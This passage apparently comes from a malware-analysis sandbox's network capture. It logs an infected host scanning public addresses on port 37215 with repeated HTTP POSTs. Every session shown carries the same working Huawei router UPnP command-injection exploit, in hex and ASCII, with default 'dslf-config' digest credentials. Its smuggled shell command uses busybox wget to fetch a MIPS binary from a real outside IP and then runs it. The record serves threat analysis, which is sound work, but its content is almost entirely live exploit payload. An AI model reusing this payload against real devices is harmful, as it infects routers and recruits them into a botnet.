72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	33078	197.122.68.154	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.919792891 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	49178	197.7.143.124	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.921171904 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	34102	41.205.14.22	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.923932076 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	50674	156.165.196.119	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.926472902 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	41022	156.76.35.164	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.929141998 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	47978	156.24.206.200	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.931678057 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	42460	41.114.20.185	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.935085058 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	54974	156.218.179.250	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.937724113 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	60396	197.136.135.76	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.940696001 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	47088	197.53.139.110	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.942677021 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	37076	197.193.248.155	37215

Timestamp	Bytes transferred	Direction	Data
